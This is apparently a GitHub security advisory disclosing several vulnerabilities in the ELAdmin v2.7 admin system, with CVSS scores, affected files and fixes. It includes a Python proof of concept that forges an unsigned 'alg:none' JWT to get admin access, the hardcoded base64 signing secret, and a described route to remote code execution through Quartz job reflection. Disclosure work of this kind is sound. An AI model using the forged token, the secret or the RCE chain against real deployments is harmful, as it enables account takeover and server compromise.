Kimdir01/eladmin-multi-vuln-cve
GitHub: Kimdir01/eladmin-multi-vuln-cve
该项目是针对 ELAdmin v2.7 后台管理系统的多个严重漏洞(JWT 绕过、RCE、硬编码密钥等)的安全研究 PoC 与披露报告。
Stars: 0 | Forks: 0
# GitHub 安全公告:ELAdmin v2.7 — 多个严重漏洞(JWT 绕过、RCE、权限提升)
## 公告信息
| 字段 | 值 |
|-------|-------|
| **严重程度** | 严重(多个) |
| **CWE** | CWE-347 (JWT 签名验证绕过) / CWE-862 (缺少权限校验) / CWE-94 (代码注入) |
| **CVSS v3.1** | 9.8 |
| **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
## 摘要
ELAdmin v2.7(在 GitHub 上拥有 2,700+ 星标,基于 Java Spring Boot 的后台管理系统)包含多个严重漏洞,包括:(1) 通过使用双重库导致的 JWT 签名验证绕过;(2) 在所有环境中硬编码 JWT 签名密钥;(3) 通过 Quartz 任务反射实现远程代码执行 (RCE);(4) 12+ 个未经身份验证/缺少权限校验的 endpoint。注意:无授权密码重置漏洞(CVE-2025-70997)此前已提交,此处不再声明。
## 漏洞详情
### 受影响的包/仓库
- **仓库:** `elunez/eladmin`
- **受影响版本:** v2.7(当前版本)
- **修复版本:** 无(0-day)
**审计的 Commit Hash:** `55fbf705956949697dbd68bf9003776609d3d029`
## CVE-REQUEST-001:JWT 签名验证绕过 (CVSS 9.8)
**文件:** `eladmin-common/src/main/java/me/zhengjie/utils/SecurityUtils.java:106,125`
该应用程序使用了两个不同的 JWT 库:
- **JJWT** (`io.jsonwebtoken`) — 在 `TokenProvider.java` 中正确验证了签名
- **Hutool** (`cn.hutool.jwt.JWTUtil`) — 在 `SecurityUtils.java` 中未验证签名
```
// SecurityUtils.java:106 — HUTOOL DECODES WITHOUT SIGNATURE VERIFICATION
JWT jwt = JWTUtil.parseToken(token); // base64 decode only, NO crypto check
return Long.valueOf(jwt.getPayload("userId").toString());
```
**攻击方式:** 创建一个带有 `alg:"none"`、payload 为 `{"sub":"admin","userId":1}`、无签名的 JWT。这将绕过所有的身份验证。`SecurityUtils.getCurrentUserId()` 和 `getCurrentUsername()` 会接受伪造的 token。
### PoC:
```
import base64, json, requests
header = base64.b64encode(json.dumps({"alg":"none"}).encode()).decode().rstrip("=")
payload = base64.b64encode(json.dumps({"sub":"admin","userId":1}).encode()).decode().rstrip("=")
forged_jwt = f"{header}.{payload}."
r = requests.get("http://target:8000/api/users",
headers={"Authorization": f"Bearer {forged_jwt}"})
print(r.json()) # Returns all users as admin
```
## CVE-REQUEST-002:所有环境中硬编码 JWT 密钥 (CVSS 9.8)
**文件:** `application-dev.yml:85`, `application-prod.yml:89`
```
base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI=
```
开发和生产环境配置中的 HS512 签名密钥是完全相同的。任何可以访问公开 GitHub 仓库的人都可以解码这个 base64 密钥,并为任何用户伪造有效的 JWT token。
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = **9.8 严重**
## CVE-REQUEST-003:通过 Quartz 任务反射实现 RCE (CVSS 9.1)
**文件:** `QuartzRunnable.java:36-55`, `QuartzJobController.java:84-104`
```
// QuartzRunnable.java — REFLECTIVE INVOCATION OF ANY METHOD ON ANY BEAN
this.target = SpringBeanHolder.getBean(beanName); // ANY @Service bean
this.method = target.getClass().getDeclaredMethod(methodName, String.class);
ReflectionUtils.makeAccessible(method); // bypasses private
method.invoke(target, params); // EXECUTION
```
`checkBean()` 仅验证 bean 名称是否存在 — `methodName` 和 `params` 完全未经过验证。拥有 `timing:edit` 权限的攻击者可以调用任何 Spring bean 上的任何方法。
**攻击方式:** 创建一个 `beanName: deployServiceImpl`、`methodName: deploy` 以及任意 shell 命令的任务 → 通过 SSH 在所有受管服务器上实现 RCE。
## CVE-REQUEST-004:未经身份验证的 Druid 监控 + 12 个缺少权限校验的 Endpoint (CVSS 9.1)
**未经身份验证的 endpoint:**
- `/druid/**` — 数据库连接池监控(显示所有 SQL 查询)
- `/generator/**` — 完整的数据库枚举和代码生成
- `/auth/code` — 电子邮件验证码
- `/api/email` — SMTP 凭据暴露(可读取 + 修改)
- `/api/aliPay` — 支付宝商户私钥暴露
- `WebSocket /webSocket/**` — 部署状态流
## 发现的其他问题(共 48 个 — 上面的 CVE-REQUEST-003/004 是新发现的,其他的已记录如下):
- **无授权密码重置 (`resetPwd`)** — 不作声明:此前已作为 CVE-2025-70997 提交
- CSRF 被完全禁用 (`.csrf().disable()`)
- CORS 配置为 `allowCredentials(true)` + `allowedOriginPattern("*")`
- Frame options 被禁用(点击劫持)
- 使用硬编码密钥 `"Passw0rd"` 的 DES 加密 (56-bit)
- 用于密码解密的 RSA 私钥在配置中被硬编码
- JWT token 没有 `exp` 声明(完全依赖 Redis)
- 用户密码哈希在登录响应 JSON 中暴露
- FastJSON2 使用 `WriteClassName` 导致的不安全反序列化
- Swagger/Knife4j API 文档未经身份验证即可访问
- 开发环境配置中硬编码了 MySQL root 密码 `123456`
- 生产环境配置中的 Druid 控制台默认凭据为 `admin/123456`
- SQL 种子数据中 `123456` 的默认管理员密码哈希
## 影响
- 通过伪造 JWT + 密码重置实现**彻底的服务器沦陷**
- 在部署组中的所有服务器上实现**远程代码执行**
- **数据泄露** — 所有数据库表可枚举,所有用户数据可读取
- **凭据窃取** — 邮件密码、支付宝商户密钥、数据库密码
- **金融欺诈** — 修改支付宝配置,重定向支付
## 补丁 / 修复
1. 将 `JWTUtil.parseToken()` 替换为可验证签名的 JJWT 解析器
2. 用特定环境的变量替换硬编码密钥
3. 在 `resetPwd()`、邮件配置、支付宝配置、generator 和 WebSocket 中添加 `@PreAuthorize`
4. 将 Quartz 任务执行中允许的方法名加入白名单
5. 启用 CSRF 防护
6. 将 CORS 修复为特定的源
7. 将 DES 替换为 AES-256-GCM
8. 启用 Druid 控制台身份验证
9. 在生产环境中禁用 Swagger
## 披露时间表
- **2026-06-28:** 由 Fatullayev Asadbek (Kimdir01) 发现漏洞
- **待定:** 报告给维护者
- **待定:** 通过 GitHub 请求 CVE
- **待定:** 发布安全公告
## 致谢
- 发现者:Fatullayev Asadbek | GitHub:Kimdir01
- 独立安全研究员
## 参考
- CWE-347:密码签名验证不当
- CWE-798:使用硬编码凭据
- CWE-862:缺少权限校验
- CWE-94:代码注入
标签:JS文件枚举, PoC, StruQ, Web安全, 暴力破解, 蓝队分析, 逆向工具